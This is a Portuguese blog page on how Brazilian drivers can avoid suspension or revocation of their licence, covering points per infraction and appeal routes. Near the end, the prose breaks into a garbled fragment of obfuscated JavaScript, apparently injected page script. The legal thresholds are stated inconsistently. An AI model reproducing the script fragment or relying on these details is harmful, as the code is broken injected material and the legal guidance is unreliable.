Como não perder a CNH

como nao perder a cnh
como não perder a cnh

Como não perder a CNH

Os veículos motorizados, sejam eles motocicletas, carros utilitários, caminhonetes ou caminhões, compõe parte bastante presente na vida de várias pessoas ao redor de todo o mundo. O Brasil, país que tem seu transporte voltado para as vias rodoviárias, tem os automóveis como base de uma indústria muito grande.

Diante disso, muitas pessoas dependem desses veículos para viver. Seja visitando clientes com seu carro, entregando mercadorias de motocicleta ou transportando produtos com os caminhões, os automóveis são a profissão de milhões de pessoas em todo o território brasileiro.

Dessa forma, esses indivíduos precisam ficar atentos ao que, por lei, os dá a permissão para conduzir os veículos por vias urbanas e rurais: a Carteira Nacional de Habilitação, comumente chamada de CNH. A carteira pode ser suspensa a partir do  acúmulo de pontos. Em alguns casos, a habilitação pode até ser cassada.

Como funciona a pontuação da CNH?

O Código de Trânsito Brasileiro diz que, se um condutor, no prazo de 12 meses, tiver somado mais de 20 pontos em sua carteira, esta deverá ser suspensa, por um prazo que pode ir de 1 mês até 1 ano.

Os pontos na carteira são somados a partir de infrações cometidas pelo condutor. Cada infração é dividida conforme a sua gravidade, e cada divisão possui uma pontuação, sendo: Infração Gravíssima – 7 pontos -, Infração Grave – 5 pontos -, Infração Média – 4 pontos – e Infração Leve – 3 pontos.

O portal do Detran disponibiliza uma relação com a gravidade de cada infração, lista que também pode ser facilmente encontrada em portais na Internet. Caso, no prazo de 1 ano, o condutor somar 20 ou mais pontos, sua CNH será suspensa.

CNH suspensa – o que fazer?

Se sua CNH for suspensa por acúmulo de pontos, não dirija! O que você pode fazer é recorrer na justiça, apresentando uma defesa em até 30 dias depois do ocorrido. Caso, novamente, seja dada a confirmação da suspensão, o indivíduo poderá recorrer em segunda instância ao Cetran.

Se os recursos forem duplamente recusados, o indivíduo terá de cumprir a penalidade sancionada. Contudo, o sistema é um pouco mais brando caso o motorista em questão necessitar de sua habilitação por questões de sobrevivência, isto é, quando a condução de um veículo é o trabalho daquela pessoa.

CNH cassada – o que fazer?

Quando, no tópico anterior, falamos para, em casos de suspensão da habilitação, para o condutor não dirigir, estávamos referindo à cassação da CNH. A cassação é um processo onde o condutor é proibido de dirigir por 24 meses, e após esse período deve passar por todo o processo inicial de tirar a CNH novamente.

A cassação ocorre, na maioria das vezes, em três casos: quando o condutor que teve a carteira suspensa for pego dirigindo, quando o infrator é reincidente, ou seja, logo após uma suspensão da carteira, acumulou outros 20 pontos nos 12 meses seguintes e quando o motorista é condenado judicialmente por crime de trânsito.

Da mesma forma como no caso da CNH suspensa, a cassação da carteira concede o direito de recurso, que se recusado pode ser levado à segunda instância.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

Compartilhar esta postagem

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *


Rota 101 e 116

 

Em Breve a Disposição.

×asdf